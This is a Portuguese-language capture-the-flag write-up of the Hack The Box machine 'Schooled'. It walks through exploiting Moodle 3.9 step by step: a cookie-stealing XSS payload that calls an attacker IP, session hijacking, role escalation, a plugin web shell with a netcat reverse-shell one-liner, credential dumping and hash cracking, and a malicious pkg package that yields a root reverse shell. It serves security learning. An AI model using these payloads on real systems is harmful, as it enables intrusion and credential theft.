Olá pessoal!
A máquina desta semana será Schooled, outra máquina Linux classificada como mediana do Hack The Box, criada por TheCyberGeek.
Info
Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.
Para resolver esta máquina, precisei explorar dois CVEs de uma versão vulnerável do Moodle, que foi a parte mais difícil do processo, uma vez que a PoC das vulnerabilidades não funcionaram corretamente e demorei um pouco para entender exatamente os passos necessários e executá-los manualmente para obter o acesso inicial. Após isso, tudo foi bem tranquilo, onde as credenciais do banco de dados foram obtidas e, na sequencia, abusei de instruções super permissivas de sudo.
Espero que gostem!
Enumeração
Como de costume, iniciei por executar um scan rápido com o nmap para listar os serviços atualmente publicados.
$ nmap -sC -sV -Pn -oA quick 10.10.10.234Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 14:41 -03Nmap scan report for 10.10.10.234Host is up (0.077s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)| ssh-hostkey:| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15|_http-title: Schooled - A new kind of educational instituteService Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 16.06 secondsEm paralelo, iniciei outro scan, para validar todas as portas TCP abertas, onde encontrei também a porta 33060/TCP, resultando no output final dos seguintes serviços:
$ nmap -p 80,33060 -A -oA Full 10.10.10.234Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 14:57 -03Nmap scan report for schooled.htb (10.10.10.234)Host is up (0.077s latency).
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15|_http-title: Schooled - A new kind of educational institute33060/tcp open mysqlx?| fingerprint-strings:| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:| Invalid message"| HY000| LDAPBindReq:| *Parse error unserializing protobuf message"| HY000| oracle-tns:| Invalid message-frame."|_ HY0001 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port33060-TCP:V=7.91%I=7%D=8/1%Time=6106E084%P=x86_64-pc-linux-gnu%r(NUSF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\xSF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOptSF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersiSF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2BSF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInSF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\xSF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\xSF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\xSF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mesSF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDSF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPCSF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 18.96 seconds80/TCP - Serviço HTTP
Acessando a página inicial, podemos ver um site institucional de uma escola, que também menciona que todo o seu conteúdo é entregue através da plataforma Moodle, que eventualmente teremos acesso e precisaremos buscar por ela eventualmente.

Também, executando o whatweb, encontrei a conta de e-mail admissions@schooled.htb onde o dominio schooled.htb deve ser o utilizado pela organização, o qual foi adicionado ao arquivo hosts local.
$ whatweb --color=never -a 3 10.10.10.234http://10.10.10.234 [200 OK] Apache[2.4.46], Bootstrap[4.1.0], Country[RESERVED][ZZ], Email[#,admissions@schooled.htb], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]Enquanto deixei o gobuster dir executando em background para enumerar páginas e eventuais diretórios nessa máquina, uma vez que vi que nada estava sendo retornado, decidi iniciar uma instancia de enumeração de subdomínios, onde os domínios moodle e student foram encontrados, também adicionados no arquivo hosts local.
$ gobuster dns -d schooled.htb -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Domain: schooled.htb[+] Threads: 10[+] Timeout: 1s[+] Wordlist: /usr/share/dnsrecon/subdomains-top1mil-5000.txt===============================================================2021/08/01 17:24:31 Starting gobuster in DNS enumeration mode===============================================================Found: moodle.schooled.htbFound: student.schooled.htb
===============================================================2021/08/01 17:25:04 Finished===============================================================O subdomínio student.schooled.htb estava redirecionando para a página principal, porém o subdomínio moodle.schooled.htb nos redirecionou para a página abaixo, que consiste em um site Moodle que vimos sendo mencionado anteriormente e através do qual poderemos obter algum tipo de acesso se este possuir alguma vulnerabilidade não corrigida.

Iniciando a enumeração do site Moodle, utilizei o script moodlescan que simplifica este processo, onde pude obter a versão em execução da plataforma que é 3.9.0-beta, segundo output abaixo:
$ python3 moodlescan.py -u http://moodle.schooled.htb/moodle
Version 0.8 - May/2021.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15x-powered-by : PHP/7.4.15x-frame-options : sameoriginlast-modified : Mon, 02 Aug 2021 11:54:53 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.Validando esta versão, pude notar que existem diversas vulnerabilidades conhecidas porém todas elas requerem privilégios que ainda não temos. Decidi então seguir tentando criar uma conta na plataforma e ver se consigo obter alguma informação interessante, considerando que nada estava aberto para usuários acessando o portal como visitante.
Enquanto criava a conta, notei que existe um requisito de utilizar um e-mail do subdomínio student.schooled.htb, previamente enumerado utilizando o gobuster.
Mesmo havendo o requisito, nenhum tipo de validação foi necessária e, ao navegar no portal, a única turma que consegui fazer o auto-assinalamento foi a turma de Matemática, que continua o seguinte anúncio:
Reminder for joining students by Manuel Phillips - Wednesday, 23 December 2020, 12:01 AM Number of replies: 0 This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.Look forward to seeing you all soon.Manuel Phillips
Isso significa que o professor Manuel Philips verificará todos os perfis MoodleNet dos alunos que se inscreveram na matéria e, caso possamos armazenar um XSS neste atributo, poderemos utilizar deste artifício para roubar a sessão do professor a partir dos atributos do cabeçalho da requisição. Com acesso na plataforma, dependendo dos privilégios do professor, podemos buscar por uma oportunidade de RCE.
Acesso inicial
Buscando por MoodleNet XSS, encontrei este Security Announcement que menciona o CVE-2020-25627, corrigido apenas na versão 3..9.2 e afeta as versões 3.9 e 3.9.1, que coincide com nosso cenário.
Buscando por uma prova de conceito (PoC) para este CVE, encontrei o repositório HoangKien1020/CVE-2020-25627: Stored XSS via moodlenetprofile parameter in user profile (github.com) que contém as instruções para exploração, que foram implementadas e me permitiram obter o cookie da sessão do professor, conforme evidencia abaixo:
- Loguei com a conta recentemente criada e modifiquei o MoodleNet profile para o conteúdo abaixo
<script>var i=new Image;i.src="http://10.10.10.10/xss.php?"+document.cookie;</script>- Hospedei o arquivo
xss.phpmencionado no repositório em uma pasta e iniciei um PHP Webserver com os comandos abaixo e, cerca de 2 minutos depois, comecei a receber as requisições da conta do professor, nos mostrando os cookies utilizados por ele.
$ sudo php -S 0.0.0.0:80 -t .[Mon Aug 9 14:44:05 2021] PHP 7.4.21 Development Server (http://0.0.0.0:80) started[Mon Aug 9 14:45:28 2021] 10.10.10.234:55102 Accepted[Mon Aug 9 14:45:28 2021] PHP Notice: Undefined index: METHOD in /opt/dcruz/htb/schooled-10.10.10.234/exploit/www/xss.php on line 28[Mon Aug 9 14:45:28 2021] PHP Notice: Undefined index: REMOTE_HOST in /opt/dcruz/htb/schooled-10.10.10.234/exploit/www/xss.php on line 29[Mon Aug 9 14:45:28 2021] 10.10.10.234:55102 [200]: GET /xss.php?MoodleSession=d8so1t4rs4vmg8btrgfr2ps6fr[Mon Aug 9 14:45:28 2021] 10.10.10.234:55102 ClosingAgora sabendo quais os parametros da sessão do professor, alterei o valor do cookie no meu navegador e, após atualizar a página, pude observar que a conta agora é listada como a do professor Manuel Philips.

Agora que temos acesso a outra conta, necessitamos validar se as permissões possuidas por este usuário são suficientes para dar continuidade na exploração, vindo a obter um RCE.
Pesquisando sobre explorações em Moodle em Moodle - HackTricks, encontrei qeu é necessário o privilégio de manager para realizar o upload de um plugin, método mais eficiente para obter execução de código via aplicação. Mesmo não tendo esta permissão com o usuário do professor, observado que esta versão em execução também é vulnerável à Escalação de privilégio, que poderia nos permitir obter o acesso de manager a partir do curso abusando o processo de inscrição e, se um dos estudantes for um dos site managers, este privilégio poderia ser explorado para a finalidade desejada, que é realizar o upload de um plugin malicioso. O mesmo autor da PoC do outro CVE também possui um repositório no Github contendo uma PoC que poderia nos auxiliar nesta tarefa.
Mesmo não funcionando adequadamente a PoC em nosso cenário, após entender exatamente os passos necessários, foi possível obter execução de código na máquina, conforme passos abaixo:
- Primeiro foi necessário identificar qual usuário na plataforma poderia ter o privilégio de manager. Com base nas informações obtidas a partire de reconhecimento do site institucional, Lianne Carter é a gerente da escola e provavelmente possui os privilégios dos quais precisamos.
- Também tomei nota sobre o Profile ID do usuário Manuel Philips, que foi obtido ao navegar à sua página no link
http://moodle.schooled.htb/moodle/user/profile.php?id=24. - A exploração iniciou-se por fazer a inscrição da gerente da escola na turma de matemática e, interceptando a requisição utilizando o Burp Suite, enviei a mesma ao Repeater e, além da requisição inicial, fiz uma nova para nos conceder o priviégio de Manager no curso, por atribuir o valor
roleid=1e substituir o ID do usuário pelo identificado previamente, conforme visto no video no repositório.
GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=KbJYqTapFc&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1Host: moodle.schooled.htbAccept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Content-Type: application/jsonReferer: http://moodle.schooled.htb/moodle/user/index.php?id=5Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: MoodleSession=jil2s8i0vj0gq3vojfki6e7rtqConnection: close- Agora como um Administrador do curso, acessando um perfil de usuário podemos utilizar a função “Log in as”, que nos permitiu acessar a plataforma como o usuário Lianne Carter.

- Agora como Lianne, deveríamos ter privilégios de realizar o upload do plugin diretamente, uma vez que a opção “Site Administration” é exibida à esquerda, porém tais privilégios não são habilitados por padrão. Para tal atividade, precisamos editar a role acessando o menu “Site Administration” > “Users” e, na aba “Permissions”, selecionei “Define Roles”.

- Selecionei a role Manager e, clicando no botão “Edit”, interceptei a requisição e substitui o dado enviado pelo encontrado no repositório, qeu me concederia privilégios totais na aplicação.


- Agora, navegando em “Site Administration” > “Plugins” podemos ver a opção para instalação, para o qual o arquivo
rce.zip, também disponibilizado no portal, foi carregado, nos permitindo executar comandos remotamente e obter um shell reverso a partir de chamadas na URL do plugin, conforme abaixo:
$ curl -X GET -G 'http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php' --data-urlencode 'cmd=id'uid=80(www) gid=80(www) groups=80(www)
$ curl -X GET -G 'http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php' --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "10.10.10.10" 4443 >/tmp/f'User Flag
Agora com um shell interativo com a conta www-data, iniciei a enumeração da máquina. Como de costume, iniciei com a execução do linpeas.sh mas descobri que wget e curl não estavam disponível, então escrevi um simples script php para baixar os arquivos dos quais precisava.
echo "<?php" > wget.phpecho "\$url = 'http://10.10.10.10/linpeas.sh';" >> wget.phpecho "\$file = '/tmp/linpeas.sh';" >> wget.phpecho "\$current = file_get_contents(\$url);" >> wget.phpecho "file_put_contents(\$file, \$current);" >> wget.phpecho "?>" >> wget.php
/usr/local/bin/php wget.phpA partir da execução, a seguintes informações foram obtidas:
- Usuários com console e suas permissões:
jamie:*:1001:1001:Jamie:/home/jamie:/bin/shroot:*:0:0:Charlie &:/root:/bin/cshsteve:*:1002:1002:User &:/home/steve:/bin/csh- Senha para o banco de dados do Moodle no arquivo
/usr/local/www/apache24/data/moodle/config.php:
$CFG->dbtype = 'mysqli';$CFG->dbhost = 'localhost';$CFG->dbuser = 'moodle';$CFG->dbpass = 'PlaybookMaster2020';'dbport' => 3306,Logo após executar a enumeração, descobri que apenas nos faltava alguns caminhos no PATH, encontrando o binário do curl. Este ajuste no PATH também foi necessário para executar o comando mysql, necessário para que pudesse realizar o dump das informações necessárias a partir do banco de dados. Esta atividade foi feita de forma não interativa, já que não consegui promover meu shell para um TTY.
$ find / -type f 2>/dev/null | grep -e "wget$" -e "curl$" -e "mysql$"/usr/local/bin/curl/usr/local/bin/mysql/usr/local/share/bash-completion/completions/wget/usr/local/share/bash-completion/completions/curl/usr/local/share/bash-completion/completions/mysql/usr/local/share/zsh/site-functions/_curl/var/mail/mysqlO dump das credenciais foi possível a partir do comando abaixo:
$ /usr/local/bin/mysql -u moodle --password=PlaybookMaster2020 -e "use moodle; select email,username,password from mdl_user; exit" | grep -v 'student.'mysql: [Warning] Using a password on the command line interface can be insecure.ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'exit' at line 1email username passwordroot@localhost guest $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2jamie@staff.schooled.htb admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiWhiggins_jane@staff.schooled.htb higgins_jane $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2phillips_manuel@staff.schooled.htb phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYGcarter_lianne@staff.schooled.htb carter_lianne $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZeCom base nos hashes, criei um arquivo no formato username:hash e executei o comando john, onde obtive a senha para o usuário jamie conforme output abaixo:
$ john --wordlist=/usr/share/wordlists/rockyou.txt accounts.txt Using default input encoding: UTF-8Loaded 5 password hashes with 5 different salts (bcrypt [Blowfish 32/64 X3])Cost 1 (iteration count) is 1024 for all loaded hashesWill run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status!QAZ2wsx (jamie)Use the "--show" option to display all of the cracked passwords reliablySession abortedCom estas credenciais, consegui me logar via SSH e obter a flag no arquivo user.txt :smile:
jamie@Schooled:~ $ id && hostname && cat user.txtuid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)Schooled<redacted>Root Flag
Antes de iniciar a enumeração, iniciei executando o comando sudo -l como de costume, onde pude identificar as seguintes permissões para o usuário como root:
jamie@Schooled:~ $ sudo -lUser jamie may run the following commands on Schooled: (ALL) NOPASSWD: /usr/sbin/pkg update (ALL) NOPASSWD: /usr/sbin/pkg install *Verificando a página do binário pkg no GTFOBins descobri que poderia utilizá-lo para instalar um pacote malicioso, de modo a conseguir um shell reverso nesta máquina. Os passos abaixo foram executados para obter um shell como root
- Instalei o pacote
fpmna máquina atacante, também disponivel a partir deste repositório no Github
sudo apt-get install ruby ruby-dev rubygems build-essentialsudo gem install --no-document fpm- Criei um pacote contendo o payload malicioso, no caso destinado a executar o comando para obtenção de um shell reverso
TF=$(mktemp -d)echo 'export file="/tmp/zurc"' > $TF/x.shecho 'rm $file;mkfifo $file;cat $file|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >$file' >> $TF/x.shfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF- Transferi o pacote para a máquina alvo e executei o comando
sudopermitido, obtendo assim um shell reverso a partir da conta dojamie, podendo assim ler a flag de root
jamie@Schooled:/tmp $ /usr/local/bin/curl http://10.10.10.10/x-1.0.txz -o x-1.0.txz1.0.txz % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 572 100 572 0 0 4144 0 --:--:-- --:--:-- --:--:-- 4144jamie@Schooled:/tmp $ sudo pkg install -y --no-repo-update ./x-1.0.txzpkg: Repository FreeBSD has a wrong packagesite, need to re-create databasepkg: Repository FreeBSD cannot be opened. 'pkg update' requiredChecking integrity... done (0 conflicting)The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED: x: 1.0
Number of packages to be installed: 1[1/1] Installing x-1.0...rm: /tmp/zurc: No such file or directory$ nc -lnvp 4443listening on [any] 4443 ...connect to [10.10.10.10] from (UNKNOWN) [10.10.10.234] 16349# cd /root# cat root.txt<redacted>Espero que tenham gostado!
Vejo vocês no próximo post :smile: